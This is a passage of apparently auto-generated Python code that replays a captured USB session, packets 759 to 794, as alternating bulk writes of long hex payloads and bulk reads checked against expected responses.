b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1C\\xF2\\x69\\x57\\x94\\xC7\\x43\\xDA\"\n b\"\\xB2\\x94\\x98\\x99\\xD4\\x9C\\xAA\\xE4\\x99\\x5F\\xB4\\x3A\\x4D\\xF4\\x21\\x81\"\n b\"\\xD4\\x31\\x0F\\x55\\x96\\x63\\x34\\x16\\xC4\\xB5\\xE5\\x3A\\xE6\\x68\\xA0\\x21\"\n b\"\\x5F\\xAC\\x24\\xD2\\x23\\x19\\x97\\x30\\xE0\\xB8\\x2F\\x4D\\x54\\x96\\x01\\x30\"\n b\"\\xD1\\x21\\xEC\\xC4\\xEA\\x99\\x83\\x14\\x4B\\x49\\xEF\\xAC\\x12\\xA7\\xD8\\x7A\"\n b\"\\x5E\\x46\\x80\\xD9\\x3F\\x75\\x45\\xEA\\x7A\\x8E\\xF7\\xEB\\xC7\\xF2\\xA3\\xE2\"\n b\"\\x25\\x01\\x5E\\x76\\x8B\\x70\\x8A\\x0E\\xDA\\x75\\xC2\\x27\\x34\\x4B\\xC4\\x0B\"\n b\"\\x4A\\xBB\\x86\\xCA\\x1E\\xA2\\xE9\\x66\\x74\\x71\\x7C\\x4F\\x1E\\xCA\\x5D\\xEC\"\n b\"\\xFB\\x2A\\xED\\x27\\x85\\x56\\x9F\\x03\\xE8\\x9C\\x34\\x2B\\xFC\\x5E\\xF0\\x4D\"\n b\"\\x1F\\x9A\\x84\\x6C\\xCB\\x76\\xD2\\x78\\x40\\x68\\xF3\\xC4\\xE3\\x35\\x4D\\xFE\"\n b\"\\xB3\\x49\\x5A\\xF6\\x8B\\x6F\\x49\\x7E\\xBF\\x24\\x51\\x63\\xCB\\xB1\\x04\\x29\"\n b\"\\xA3\\x52\\xFB\\x76\\x86\\x29\\xEA\\x65\\x89\\xD6\\x8F\\x5F\\x26\\x33\\xD4\\x90\"\n b\"\\x88\\x0F\\x73\\xA0\\x59\\x2D\\xB8\\x6F\\x2F\\xF2\\x36\\x08\\x20\\x72\\x14\\xBF\"\n b\"\\x35\\x7A\\x28\\x31\\xED\\x7A\\xB8\\x25\\x2D\\x9E\\x6D\\x1A\\x6E\\x24\\x3D\\x3C\"\n b\"\\xB3\\x6C\\x9A\\x93\\xB9\\xA0\\x86\\x44\\x1C\\xA6\\xB9\\x8D\\xAF\\xB4\\x32\\x99\"\n b\"\\xE2\\x75\\x7F\\x2D\\xBD\\x6D\\xCC\\x0A\\xC8\\x6A\\x5C\\x36\\x7A\\xFE\\x70\\xA0\"\n b\"\\xEF\\xA9\\xD5\\x96\\x4A\\xC1\\xFE\\xE5\\xF5\\xA1\\x72\\xD6\")\n # Generated from packet 759/760\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 759/760\")\n # Generated from packet 761/762\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFE\\x67\\x88\\x7B\\x2C\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4B\\xA8\\x3F\\x76\\x34\\xDF\\x10\\xC9\"\n b\"\\xDB\\xB5\\x84\\xE9\\x53\\x59\\x34\\x2A\\x36\\xD7\\x8B\\x60\\x2C\\xDF\\x0B\\x73\"\n b\"\\xF8\\x5D\\xD9\\x66\\xAC\\x04\\x3B\\x43\\xF4\\x80\\x73\\x47\\x75\\x53\\xBB\\x8B\"\n b\"\\xDE\\xE0\\xCF\\xDC\\xAA\\x35\\x47\\x1F\\x91\\x8B\\x10\\x81\\x81\\xD4\\xD7\\x5F\"\n b\"\\xD5\\xD5\\xC8\\xF7\\x90\\xA0\\x22\\xAE\\xF1\\x47\\x75\\x3E\\xF0\\xE7\\x98\\x21\"\n b\"\\xE9\\xE7\\x27\\x4D\\x5C\\xC9\\x2C\\x82\\x07\\xF8\\x28\\x91\\x14\\xE4\\xCE\\x3C\"\n b\"\\x4B\\xA5\\x14\\x57\\xDF\\x22\\x18\\x8B\\x17\\x75\\x35\\xBD\\x86\\x9E\\xF2\\x04\"\n b\"\\x17\\xA9\\x34\\xCF\\xA2\\x19\\x61\\xA0\\xBB\\x67\\xC6\\x29\\x98\\xC3\\x60\\x6B\"\n b\"\\x93\\x01\\x05\\x80\\x2A\\x86\\x42\\x44\\xD3\\x9C\\x0A\\x23\\x6E\\x05\\x1D\\xCD\"\n b\"\\xBD\\xED\\x77\\x96\\xF2\\x98\\xD4\\x8D\\xA4\\xCB\\x90\\xD5\\x1A\\x6B\\x1E\\x07\"\n b\"\\xBE\\x99\\xFD\\x4E\\x3D\\xC5\\xE9\\xB0\\x9D\\x0F\\xBA\\x23\\xDD\\xE1\\x6B\\xAB\"\n b\"\\x3B\\xD6\\x8A\\x1A\\x64\\xC7\\x2A\\xBA\\x87\\x45\\x3B\\x6B\\x13\\x5F\\x49\\xE4\"\n b\"\\xC8\\x51\\xCA\\xB3\\x3C\\xDD\\x19\\x60\\x35\\x81\\x12\\x0B\\x93\\x4E\\x89\\x18\"\n b\"\\x8A\\xA9\\xC5\\xF0\\xD7\\xC1\\x01\\x8A\\x68\\x26\\x96\\xAC\\xAD\\x84\\x02\\x10\"\n b\"\\x90\\x99\\xF0\\x7F\\xB7\\xAE\\x89\\x8E\\x7F\\x5A\\x86\\xE2\\xA0\\x30\\xAB\\xA7\"\n b\"\\x96\\xA7\\x8A\\x0F\\xC8\\x42\\xBB\\xDF\\xE4\\x28\\x03\\x8D\\x3E\\x90\\xE3\\xBE\"\n b\"\\x13\\x93\\xC9\\xBD\\x77\\xB1\\x8D\\xB8\\x8E\\xA6\\x3A\\x98\")\n # Generated from packet 763/764\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 763/764\")\n # Generated from packet 765/766\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x49\\x6C\\x97\\x34\\x53\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBB\\x34\\xDF\\xC3\\xED\\x3D\\x73\\x88\"\n b\"\\xEF\\xB6\\xAC\\x48\\xD4\\x3B\\x38\\x69\\x3E\\x85\\x4A\\x55\\xC6\\x9F\\x1E\\x67\"\n b\"\\xC6\\x27\\xEE\\x47\\x84\\xB0\\x84\\xC9\\x1D\\xE2\\xC0\\xB3\\xEC\\xF8\\x46\\xD2\"\n b\"\\xD3\\xBF\\x5A\\xD8\\x0A\\x53\\x7F\\x76\\xBE\\xBF\\xF9\\xA0\\x32\\xA8\\x3E\\xFF\"\n b\"\\x7B\\xCE\\x27\\x66\\xEF\\x42\\x66\\x45\\x5E\\x24\\x57\\x36\\xE1\\x1D\\xAE\\x2E\"\n b\"\\x80\\xD9\\x7D\\x75\\x53\\xC4\\x6F\\x6F\\x3B\\x6E\\x82\\x6F\\x5A\\xAF\\xA7\\xE2\"\n b\"\\xAF\\x46\\x61\\x6A\\xE4\\xFE\\x93\\xD4\\xC5\\xF8\\x56\\x89\\xF7\\xDA\\xE5\\x62\"\n b\"\\x57\\x1F\\x21\\xC5\\xB8\\xE4\\x50\\xF5\\x8E\\x89\\x0C\\x63\\xBC\\x1E\\x8B\\xBF\"\n b\"\\x1F\\x2F\\x8A\\xE0\\x14\\x19\\xA3\\xB6\\xDD\\xC1\\x71\\x58\\xD4\\x66\\x1B\\x3F\"\n b\"\\x73\\x67\\xE3\\xC3\\xF1\\x14\\xA5\\xEE\\xA6\\x07\\xB7\\x9C\\xF3\\xE7\\x1D\\x58\"\n b\"\\xC7\\x29\\xA5\\xFD\\xC5\\xE0\\x32\\xD4\\x7C\\xCA\\x38\\x2E\\x7D\\x74\\x58\\x3C\"\n b\"\\xBC\\x33\\x3C\\x65\\xB2\\x98\\x6A\\x4D\\x43\\xCE\\xD8\\x63\\xF8\\xB9\\xCD\\x88\"\n b\"\\x64\\xBF\\xB1\\xC3\\xB0\\xD9\\xA0\\x31\\x43\\xD8\\x0B\\x53\\x24\\x37\\xA5\\xEB\"\n b\"\\x40\\x1C\\x97\\xB0\\x91\\xD8\\x36\\x03\\x8F\\x16\\x6B\\x84\\x1A\\xB0\\xED\\x65\"\n b\"\\xC3\\x7D\\xCB\\x80\\x5D\\xE5\\x4A\\x56\\xB2\\x10\\x13\\xD2\\x85\\x97\\x8D\\x48\"\n b\"\\x5A\\x65\\x44\\x62\\xFD\\x61\\x14\\x22\\x5F\\x1E\\x36\\x93\\x46\\xAF\\xA6\\x4E\"\n b\"\\xD6\\x4D\\x4D\\x1C\\x34\\xB4\\xCA\\x7B\\xD7\\x13\\xC2\\xCF\")\n # Generated from packet 767/768\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 767/768\")\n # Generated from packet 769/770\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x25\\x71\\x53\\xEF\\xCB\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD3\\xB6\\x3F\\xFE\\x64\\x66\\x26\\x18\"\n b\"\\x6F\\x2E\\xBB\\x24\\xEC\\x57\\xEC\\xE1\\x02\\xB8\\xD0\\xA0\\x04\\x8B\\x1F\\xFC\"\n b\"\\xCC\\x4C\\x91\\x87\\x5E\\xED\\x4A\\xFF\\x15\\x80\\xF9\\x67\\x92\\xCA\\xBA\\x4D\"\n b\"\\x49\\x0F\\x63\\x90\\xCB\\x98\\x6D\\x5A\\x16\\xE4\\x8A\\x4A\\x8E\\x24\\x37\\xE9\"\n b\"\\xA6\\xEF\\x18\\xA8\\x96\\x95\\x58\\x4D\\xF3\\x83\\xBE\\x9F\\x41\\x04\\xDB\\x1E\"\n b\"\\x0D\\x3D\\x28\\xBE\\x66\\x12\\x71\\xDC\\x3F\\x8C\\xA3\\x23\\xB9\\x41\\x73\\x79\"\n b\"\\xE2\\x39\\xAA\\xD7\\xF9\\xE3\\x99\\x30\\x9A\\x3D\\x14\\xCA\\x94\\xAD\\x14\\x4C\"\n b\"\\x14\\x8F\\x72\\x87\\xDE\\x80\\x93\\xC3\\xCE\\x0F\\x0A\\xC1\\xBF\\x12\\x70\\x0D\"\n b\"\\xF3\\x49\\x42\\x0F\\xB5\\xAD\\x44\\x77\\x1F\\xA4\\xEE\\x35\\xCB\\xBA\\xA0\\x1D\"\n b\"\\xE6\\x30\\x54\\xA4\\x38\\x7F\\x05\\xD5\\x6E\\x80\\x0B\\xF7\\x16\\xD0\\xC6\\xCB\"\n b\"\\x95\\xAD\\xFB\\x60\\x2D\\x2E\\x33\\x4E\\xAC\\xE8\\x13\\x35\\x6D\\xDA\\x5A\\x00\"\n b\"\\xBC\\xF6\\xA6\\x56\\xCC\\x78\\x75\\x06\\xC3\\x43\\x6C\\x62\\x50\\x7A\\xFA\\x8D\"\n b\"\\xD3\\xB7\\xBC\\x45\\x62\\x5E\\x11\\xE9\\x19\\xAE\\x9B\\x3F\\x0F\\xB5\\x11\\x6A\"\n b\"\\xB4\\xC1\\x98\\x03\\x34\\x14\\x19\\xA2\\x45\\x02\\x2D\\x6F\\x2A\\x99\\xBD\\xFB\"\n b\"\\xDD\\xC8\\x7B\\xFF\\x9A\\x49\\x88\\xD1\\xF3\\xD5\\x78\\x17\\x4B\\xFA\\x3C\\xB4\"\n b\"\\xD3\\x7C\\xCC\\x93\\x7A\\x4F\\x80\\x5C\\xF4\\x4E\\xD8\\xB2\\xF9\\x1E\\xEF\\xB2\"\n b\"\\x8D\\xD6\\x40\\x44\\xD6\\x86\\x46\\xC7\\xF8\\xBF\\x65\\xFD\")\n # Generated from packet 771/772\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 771/772\")\n # Generated from packet 773/774\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x08\\x0D\\xE8\\x72\\xC9\\x0F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD7\\x50\\x34\\x56\\x21\\xEB\\xCA\\x8B\"\n b\"\\xE7\\x80\\xCB\\xBD\\xD3\\x5F\\x66\\xEE\\x67\\x33\\x07\\x94\\x7A\\xEB\\x04\\x30\"\n b\"\\x07\\xA4\\xA0\\xF1\\xC4\\x71\\x84\\x32\\x8A\\x50\\x78\\x92\\x97\\xAD\\x42\\x4A\"\n b\"\\x69\\x7F\\xD4\\x0D\\x80\\x03\\x3A\\x4D\\x8E\\x2F\\xEA\\x62\\x21\\x6B\\x66\\xB7\"\n b\"\\xEA\\x1E\\x6C\\x9A\\x03\\x98\\x81\\x52\\xBA\\xAB\\x20\\xD7\\x6D\\x1C\\xAA\\x41\"\n b\"\\xB5\\x72\\x5C\\x44\\x28\\x24\\xEF\\x95\\x19\\x58\\xC3\\x2D\\x49\\xD4\\x0A\\x13\"\n b\"\\xE6\\x19\\xBE\\xD2\\x0F\\x9E\\x0E\\x0C\\xA7\\x01\\x2E\\x43\\x8B\\x3C\\xF6\\x7D\"\n b\"\\x69\\x9A\\xAB\\x8D\\x85\\x24\\x1D\\x7C\\xBE\\x8F\\x48\\x16\\xAD\\x8B\\x37\\xAA\"\n b\"\\x3A\\xF6\\x90\\x58\\x47\\x5B\\x34\\x7E\\x31\\x03\\x80\\xBE\\xBD\\x44\\x60\\xF7\"\n b\"\\x7F\\x4D\\x26\\x4E\\xD8\\xB3\\xB8\\x60\\xDF\\x3D\\x5E\\x2B\\x04\\xCD\\x5D\\x2F\"\n b\"\\x5E\\xC1\\x89\\x61\\x80\\x91\\x87\\xBE\\xB1\\x12\\xC9\\x7E\\x36\\x21\\x85\\x5C\"\n b\"\\xEF\\x8F\\x95\\x5E\\xFE\\x85\\x3B\\xE4\\x38\\x27\\xE7\\x81\\x01\\x3B\\x03\\x19\"\n b\"\\x66\\x80\\x98\\x7F\\xCB\\xA8\\xC6\\xE8\\x7D\\x56\\xD7\\xA5\\x7E\\xAF\\x41\\xC9\"\n b\"\\x0F\\xDF\\x80\\x64\\xB1\\x5B\\x77\\xBA\\x6A\\x55\\xF3\\xA4\\x21\\x01\\x0D\\x45\"\n b\"\\x8A\\x4B\\x86\\x0C\\xA7\\x6B\\xB7\\x1C\\xD3\\x24\\x8A\\xC4\\x4B\\x2A\\xA2\\x52\"\n b\"\\x4D\\x0B\\x2D\\x37\\xAA\\x42\\xFE\\x26\\x60\\x4E\\xE2\\x40\\x59\\xA5\\x65\\xA3\"\n b\"\\xAB\\x02\\x33\\x13\\x62\\x9F\\x44\\xA8\\x3C\\x13\\x3E\\x4F\")\n # Generated from packet 775/776\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 775/776\")\n # Generated from packet 777/778\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x46\\x47\\xCD\\xE5\\x12\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBD\\xD6\\xDE\\x3C\\xAC\\xAD\\x4D\\x22\"\n b\"\\x55\\x2F\\xB5\\x27\\x51\\x5A\\xA6\\x60\\xE1\\x13\\x8D\\x4F\\xD6\\x0B\\xAA\\xA1\"\n b\"\\x0D\\x9A\\x89\\x50\\x36\\xA1\\x84\\xCB\\x3D\\x75\\x9E\\xDE\\xBE\\xA8\\x19\\x75\"\n b\"\\x90\\x65\\x0D\\x89\\xE8\\xED\\x81\\xFD\\x89\\xC6\\xCA\\x9C\\x89\\x53\\xCC\\xC7\"\n b\"\\x00\\x6E\\x2F\\xD2\\xD8\\xD0\\x74\\x3B\\x19\\xC5\\x4D\\x2E\\x36\\x06\\x3A\\x1D\"\n b\"\\x15\\x35\\x22\\x1E\\x83\\xEE\\x22\\xD6\\x81\\x71\\x2E\\x84\\x1C\\x4A\\xDA\\xE6\"\n b\"\\x1E\\xFD\\xE5\\x7F\\x87\\xF0\\x28\\xAF\\x0C\\xFD\\x5D\\xD9\\xAD\\x34\\x0B\\x57\"\n b\"\\xF7\\xED\\x84\\xD3\\x84\\x10\\x5F\\x0D\\x7E\\xD5\\x8B\\x64\\x28\\x03\\xC5\\x76\"\n b\"\\xA8\\x7E\\xF0\\xC8\\x75\\xA3\\xE9\\xF6\\x3A\\x46\\xB3\\x1F\\xA3\\x4B\\xD1\\x02\"\n b\"\\xD9\\x08\\x26\\x15\\x66\\x84\\x77\\x3A\\x70\\x3D\\xDC\\x90\\xF8\\x95\\xF7\\x36\"\n b\"\\x8B\\x2E\\xF2\\x97\\x9F\\xC2\\xC0\\x4F\\xCD\\x87\\x65\\x4E\\xC7\\x3C\\x52\\x04\"\n b\"\\xCC\\x2E\\xDB\\xBD\\x28\\x3A\\x08\\xD8\\xB9\\xA1\\x44\\xAE\\x5F\\xA7\\x83\\x4D\"\n b\"\\xF6\\x66\\x94\\xFF\\x98\\x45\\xD5\\x9B\\xF8\\xBB\\x77\\xBE\\x3A\\xFD\\xF0\\xE5\"\n b\"\\x5D\\x2B\\xBE\\x5E\\x25\\xE8\\xA5\\xA2\\x30\\xA6\\xE7\\x69\\x6E\\xB1\\x60\\x6B\"\n b\"\\x04\\xE0\\x1C\\xEA\\x8C\\xFF\\x43\\xBD\\x37\\x26\\x09\\x1B\\xEF\\x63\\x78\\xED\"\n b\"\\x68\\xC6\\x77\\xC6\\x55\\xD3\\xC4\\xED\\x73\\xF0\\xF0\\xD5\\xDF\\x60\\xD1\\xBA\"\n b\"\\x23\\xEB\\x7C\\x9A\\xA6\\x1E\\x8C\\x76\\x96\\x27\\xA1\\x5E\")\n # Generated from packet 779/780\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 779/780\")\n # Generated from packet 781/782\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x98\\x79\\xAC\\xC5\\x1E\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC5\\x7F\\x15\\xCF\\xAF\\x30\\xFF\\x26\"\n b\"\\x13\\x44\\x89\\x87\\xB1\\x14\\xA0\\x8E\\xE4\\x42\\xA3\\x86\\x8C\\xE1\\x8C\\x6D\"\n b\"\\xF7\\x48\\xAA\\x84\\x7D\\xBE\\xB6\\x3C\\xB5\\xF4\\x46\\x49\\x97\\x19\\x8D\\xE3\"\n b\"\\xFE\\x9D\\xA8\\x67\\xF2\\x75\\xF5\\xAA\\x16\\x64\\xDE\\x2E\\x9F\\xBB\\x9E\\xBB\"\n b\"\\xA6\\x09\\x67\\xF1\\x48\\x6C\\xE1\\x0A\\x9E\\x97\\xCB\\xB8\\x1D\\xB6\\x5A\\x0C\"\n b\"\\xE8\\x28\\x53\\xD0\\xDE\\xE0\\xED\\xBA\\x8E\\xA7\\x1A\\xF8\\x4D\\x4E\\x38\\xA8\"\n b\"\\x5D\\xCE\\x64\\xB6\\x9E\\x21\\xA9\\x9B\\xD9\\x2F\\x82\\xBA\\x36\\x76\\x4B\\x2A\"\n b\"\\xDF\\x7D\\x9C\\xBE\\xA1\\x5D\\x4B\\x19\\xA3\\x37\\x10\\xF6\\x4A\\x1D\\x16\\x65\"\n b\"\\xFE\\x8B\\xEB\\x66\\x45\\xC2\\xE0\\x0E\\xE7\\x80\\xA1\\x72\\x3B\\x66\\x2A\\x65\"\n b\"\\x05\\xF6\\xD2\\xE4\\xC8\\xE9\\xFC\\xBC\\x98\\x18\\x7D\\xBB\\x9E\\xE5\\x46\\x7A\"\n b\"\\xA5\\x76\\xF1\\x07\\xD1\\x21\\x6F\\xCD\\xC8\\x89\\xEF\\x36\\xC3\\xFA\\xFA\\x73\"\n b\"\\xA2\\x78\\xD4\\xA3\\x2B\\x3D\\x47\\x83\\x51\\xC1\\xCF\\x02\\xBB\\xB2\\xD0\\xE0\"\n b\"\\x74\\xFC\\x9A\\x12\\x0B\\x0D\\x97\\xAD\\xFE\\x6D\\x82\\xD0\\x10\\xB5\\x23\\xF7\"\n b\"\\x7D\\xA0\\x28\\x8F\\x54\\xCB\\xC8\\x72\\x42\\xA2\\x84\\x9B\\x6F\\x9F\\x3C\\x6D\"\n b\"\\x49\\xCC\\xBC\\x15\\xD1\\x27\\x4A\\x30\\x0C\\xD5\\x8D\\xE2\\x19\\x8C\\x5D\\x3B\"\n b\"\\xCD\\x56\\x90\\xB6\\x8A\\xBD\\x35\\xDC\\xD1\\x2F\\xEB\\x71\\x1C\\xF8\\x95\\xDA\"\n b\"\\x79\\x88\\x9C\\xFA\\xE0\\xC2\\x1E\\xB4\\x54\\xE7\\x4D\\x67\")\n # Generated from packet 783/784\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 783/784\")\n # Generated from packet 785/786\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x23\\x1B\\xCD\\x1A\\x33\\x28\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6D\\x25\\x88\\xB1\\xF7\\x48\\xB4\\x18\"\n b\"\\xAB\\x90\\x1D\\xBC\\xAE\\x43\\x7C\\xDF\\x48\\xD4\\xE9\\x77\\xC6\\xCF\\x9F\\xD2\"\n b\"\\x0B\\x6D\\x91\\x7A\\x5C\\x5C\\x1C\\xC6\\xAE\\xD4\\x2E\\x68\\x37\\x53\\xDC\\xE7\"\n b\"\\xD5\\x0C\\x51\\x66\\x0F\\xF3\\xC6\\xF6\\x07\\xF1\\x71\\x95\\x38\\x9F\\xC3\\x7C\"\n b\"\\x7E\\x3C\\x3A\\x06\\x53\\x6F\\xA1\\x5E\\x90\\x79\\x69\\x01\\x97\\x2E\\xD6\\x53\"\n b\"\\xA9\\x08\\xE3\\x97\\xF0\\x72\\x71\\x6E\\x0F\\x47\\x58\\x67\\x58\\x11\\x42\\x56\"\n b\"\\x86\\x5F\\x24\\x7B\\x2F\\xE3\\xB7\\x72\\x21\\x28\\x21\\xE8\\xB7\\x3D\\xC0\\x5D\"\n b\"\\x26\\xA8\\x55\\xCA\\xC5\\xE9\\x8A\\x8B\\x55\\xA0\\x3D\\xB8\\x0E\\x07\\x10\\xB0\"\n b\"\\x04\\x7D\\xC6\\xFF\\xE3\\x33\\x17\\xDC\\x5D\\x3D\\x56\\xF8\\xCD\\x1F\\x02\\x05\"\n b\"\\xC3\\x6C\\x3C\\x92\\xA8\\x0B\\xE2\\x27\\xB2\\xA2\\x89\\x21\\x3B\\x05\\x02\\x54\"\n b\"\\x2D\\x98\\x5D\\x00\\xF0\\x7D\\xDE\\x17\\x86\\x0B\\x84\\xBE\\xC7\\x7F\\x31\\xBB\"\n b\"\\x1F\\x28\\xAE\\x19\\x76\\xA8\\x90\\x65\\xBA\\x46\\x0E\\x14\\x6B\\xF7\\xFA\\xA6\"\n b\"\\xAF\\x9F\\x6F\\xA2\\x8A\\xB5\\xA3\\xEA\\xED\\x63\\xDD\\xC0\\x74\\x2F\\x52\\xCD\"\n b\"\\x5E\\x57\\x94\\x4D\\xB0\\xA3\\x7E\\xD6\\xB3\\x24\\x2C\\x22\\xFD\\xEF\\x56\\xF1\"\n b\"\\x70\\x0B\\xEF\\xDF\\x16\\xC0\\xF1\\xCE\\x70\\x52\\xFD\\xB1\\x22\\xDD\\x2E\\x46\"\n b\"\\xED\\x7B\\xBE\\x4B\\xFE\\x45\\x97\\x20\\xAA\\x35\\x41\\xD1\\x0A\\xEB\\x51\\x6E\"\n b\"\\xD5\\xDC\\x68\\xD0\\xA0\\xD1\\x0F\\x8A\\xA7\\x1C\\x4F\\x9E\")\n # Generated from packet 787/788\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 787/788\")\n # Generated from packet 789/790\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x58\\x0B\\xA8\\x51\\x74\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x89\\x83\\x41\\xA1\\x90\\xE3\\x1B\\x37\"\n b\"\\x58\\x97\\x22\\xCB\\xFC\\x0F\\x78\\x9C\\xDB\\x3A\\x1F\\xF4\\x17\\xC1\\x35\\xDB\"\n b\"\\x25\\x01\\x3A\\x4D\\x9D\\xC6\\xEA\\x62\\x8E\\xE2\\x66\\xAD\\xD5\\x10\\xF3\\x2C\"\n b\"\\x38\\xBF\\x8A\\xB8\\xF6\\x18\\x32\\x99\\xB2\\x25\\xFE\\x93\\x9C\\xD5\\x5C\\x4A\"\n b\"\\x64\\x13\\xEF\\x8B\\x20\\x90\\xC3\\x2B\\x27\\xA4\\x48\\x1B\\xB6\\x89\\xA4\\xF5\"\n b\"\\x73\\x89\\x91\\xB2\\xFF\\xB6\\xF3\\xF5\\x3A\\xFD\\x7B\\xC4\\xE0\\x3C\\xAB\\x8D\"\n b\"\\x3A\\xE2\\x89\\x28\\x17\\xE4\\xC5\\xF8\\x0D\\x3D\\xD1\\xCA\\x1C\\xB3\\x6C\\x78\"\n b\"\\xF0\\x0D\\xD0\\x62\\x19\\x5D\\x24\\x3D\\x6E\\x02\\xD3\\xE1\\x71\\x56\\xD0\\xEE\"\n b\"\\xE7\\x51\\x05\\x60\\x48\\x16\\x88\\x63\\xF7\\xBF\\x76\\xC7\\xC9\\xF5\\xC7\\xD1\"\n b\"\\x92\\xA4\\x25\\x2C\\x89\\x02\\x27\\x93\\xBA\\x96\\x8D\\xB0\\xD7\\x83\\x58\\x3C\"\n b\"\\x17\\x8A\\xEE\\xAA\\x10\\x38\\x1B\\xB6\\xFF\\x63\\x96\\x29\\xF1\\xC7\\x55\\xA9\"\n b\"\\x34\\xC3\\x86\\x55\\x1A\\x34\\x5A\\xA0\\xCE\\xD0\\x9A\\x4E\\x14\\x93\\xE8\\xE4\"\n b\"\\x0E\\xA5\\x7B\\x6C\\xBF\\xBB\\x23\\x09\\x7A\\xE1\\x6B\\xD1\\x99\\x2F\\xB6\\x0B\"\n b\"\\x41\\x2D\\x9B\\x55\\x07\\x6A\\xA3\\xD2\\xB4\\xF1\\xA7\\x4C\\x69\\x42\\xB1\\x7E\"\n b\"\\x9C\\x9C\\x3A\\x42\\x29\\x9E\\xA2\\xF2\\xE9\\x02\\xF7\\x57\\x86\\xE8\\xE3\\x67\"\n b\"\\x92\\xF0\\x44\\xA8\\x0B\\x3D\\x18\\x03\\xD8\\xA9\\xE3\\x7F\\xDA\\xD2\\x0D\\xD7\"\n b\"\\xC7\\xB9\\x69\\xEE\\x8C\\x86\\x6E\\x25\\x72\\x18\\xA1\\xE0\")\n # Generated from packet 791/792\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 791/792\")\n # Generated from packet 793/794\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9B\\xC5\\x29\\xEB\\x9E\\x24\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\xA9\\x25\\x7C\\xDB\\x77\\x3B\\x7C\"\n b\"\\xAA\\x89\\xB2\\x93\\xFD\\x02\\xF8\\x91\\xB4\\xF7\\x21\\x16\\xEE\\x99\\x9C\\xD1\"\n b\"\\x19\\x32\\x48\\xD1\\x5B\\xE7\\xD6\\xEA\\x58\\x6E\\xDE\\x14\\x05\\xE2\\x5C\\x4A\"\n b\"\\xB4\\x1B\\x2F\\xB3\\xC2\\x34\\x6E\\x05\\xB3\\xAD\\x4F\\xB7\\x6D\\x0E\\xD6\\x58\"\n b\"\\x26\\xEE\\x8F\\xDC\\x1E\\x26\\x9A\\x3F\\x4A\\xE3\\x84\\xAA\\x81\\xE1\\x45\\xCD\"\n b\"\\xC4\\xFC\\x99\\x43\\x77\\x18\\x1B\\x1F\\xF5\\xE0\\x79\\x86\\x58\\x96\\xC8\\xFB\"\n b\"\\xF5\\xE9\\xFB\\xA5\\x6F\\x4B\\xB2\\x72\\x16\\xCB\\x72\\xCB\\xF1\\x58\\xCE\\xB0\"\n b\"\\x6F\\xB7\\xF1\\xF2\\x07\\xDE\\x9F\\x99\\x8B\\xE7\\x14\\xDE\\xD6\\x3C\\x65\\xFD\"\n b\"\\xAF\\xDF\\xEF\\x42\\x82\\x20\\x58\\x83\\x78\\x09\\xA4\\x21\\x88\\xE4\\xF3\\x6A\"\n b\"\\x75\\x62\\x0C\\x03\\x3C\\xE6\\x56\\x5B\\x8B\\xFE\\x08\\xA2\\x63\\x92\\xB1\\x6A\"\n b\"\\x83\\xE6\\x81\\x35\\x10\\x75\\x12\\xE9\\x75\\x62\\x61\\x7E\\xA6\\xF4\\x8C\\x9B\"\n b\"\\x75\\xAF\\xC0\\x36\\x0D\\xC5\\xA7\\x8A\\x2D\\x13\\x2C\\xE4\\x90\\x90\\x07\\x1D\"\n b\"\\x13\\x86\\x34\\x31\\x83\\x2A\\x84\\xD2\\x8B\\x98\\x8F\\x24\\x36\\xA4\\x7D\\x83\"\n 